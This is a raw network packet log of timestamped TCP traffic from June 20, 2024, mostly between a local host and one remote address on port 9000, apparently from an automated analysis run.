Jun 20, 2024 06:49:24.889087915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.889113903 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.889113903 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.889116049 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.889139891 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.889214039 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.892074108 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.892122030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.892158031 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.892182112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.892205954 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.892246962 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.892267942 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.892314911 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.894967079 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.894995928 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.895036936 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.895056009 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.895080090 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.895139933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.895148039 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.895234108 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.898097992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.898125887 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.898175955 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.898189068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.898204088 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.898253918 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.901166916 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.901206970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.901226044 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.901262999 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.901269913 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.901269913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.901485920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.904026031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.904119015 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.904135942 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.904165983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.904196978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.904203892 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.904225111 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.904244900 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.907090902 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.907121897 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.907171965 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.907174110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.907196999 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.907201052 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.907231092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.907252073 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.910044909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.910077095 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.910109043 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.910109997 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.910140991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.910176992 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.913098097 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.913130045 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.913161039 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.913171053 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.913194895 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.913213968 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.916054964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.916125059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.916127920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.916173935 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.916202068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.916239977 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.916265965 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.919030905 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.919059038 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.919106007 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.919110060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.919127941 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.919141054 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.919204950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.922049999 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.922099113 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.922123909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.922149897 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.922152996 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.922178030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.922203064 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.922230005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.925049067 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.925082922 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.925112963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.925139904 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.925174952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.925174952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.927984953 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.928035975 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.928067923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.928067923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.928086996 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.928122997 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.930947065 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.930978060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.931032896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.931041956 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.931077003 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.931107998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.933860064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.933902979 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.933942080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.933953047 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.933964014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.933983088 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.934005976 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.934035063 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.936709881 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.936743975 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.936775923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.936795950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.936821938 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.936841011 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.939538002 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.939570904 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.939604044 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.939610958 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.939635038 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.939660072 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.942234039 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.942264080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.942310095 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.942313910 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.942332029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.942359924 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.942378998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.942419052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.944900990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.944907904 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.944964886 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.945004940 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.945065975 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.945096970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.945147038 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.947669983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.947699070 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.947730064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.947736979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.947757959 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.947777033 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.947777987 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.947911024 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.950377941 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.950409889 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.950442076 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.950449944 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.950473070 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.950493097 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.953675985 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.953722954 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.953753948 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.953772068 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.953797102 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.953814983 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.955596924 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.955625057 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.955682993 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.955701113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.955719948 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.955760002 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.955791950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.955811977 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.958304882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.958337069 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.958370924 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.958385944 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.958389997 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.958415031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.958470106 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.960681915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.960732937 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.960748911 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.960766077 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.960822105 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.962308884 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.962342978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.962373972 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.962382078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.962404966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.962424040 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.964332104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.964364052 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.964396000 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.964423895 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.964476109 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.966289043 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.966316938 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.966367006 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.966368914 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.966388941 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.966396093 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.966414928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.966451883 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.968233109 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.968266964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.968280077 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.968298912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.968322992 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.968364954 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.970103025 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.970135927 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.970166922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.970169067 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.970199108 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.970216036 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.972002983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.972034931 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.972065926 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.972083092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.972117901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.972117901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.973220110 CEST	443	49777	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:24.973434925 CEST	443	49777	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:24.973501921 CEST	49777	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:24.973603010 CEST	49777	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:24.973637104 CEST	443	49777	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:24.973664045 CEST	49777	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:24.973680019 CEST	443	49777	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:24.973848104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.973881006 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.973896027 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:24.973912001 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.973927021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.973951101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.973969936 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.975569963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.975603104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.975634098 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.975662947 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.975711107 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.977380037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.977432013 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.977458000 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.977466106 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.977480888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.977516890 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.977521896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.977631092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.978635073 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:24.979095936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.979124069 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.979175091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.979192972 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.979208946 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.979237080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.979269028 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.979288101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.980839968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.980871916 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.980905056 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.980907917 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.980936050 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.980954885 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.982532024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.982563972 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.982597113 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.982604027 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.982636929 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.982636929 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.984251022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.984263897 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.984296083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.984316111 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.984357119 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.985800028 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.985831976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.985862970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.985863924 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.985886097 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.985922098 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.987454891 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.987493992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.987502098 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.987648964 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.989093065 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.989125013 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.989156008 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.989171028 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.989197016 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.989216089 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.990649939 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.990683079 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.990714073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.990740061 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.990770102 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.992147923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.992181063 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.992217064 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.992217064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.992235899 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.992270947 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.993638992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.993668079 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.993700981 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.993705988 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.993727922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.993752003 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.993810892 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.995256901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.995306015 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.995337963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.995356083 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.995398998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.996790886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.996824026 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.996855974 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.996856928 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.996879101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.996925116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.998383045 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.998415947 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.998449087 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.998450994 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.998502016 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.998528957 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.999746084 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.999778032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.999808073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:24.999821901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.999852896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:24.999872923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.001192093 CEST	9000	49773	162.55.53.18	192.168.2.4
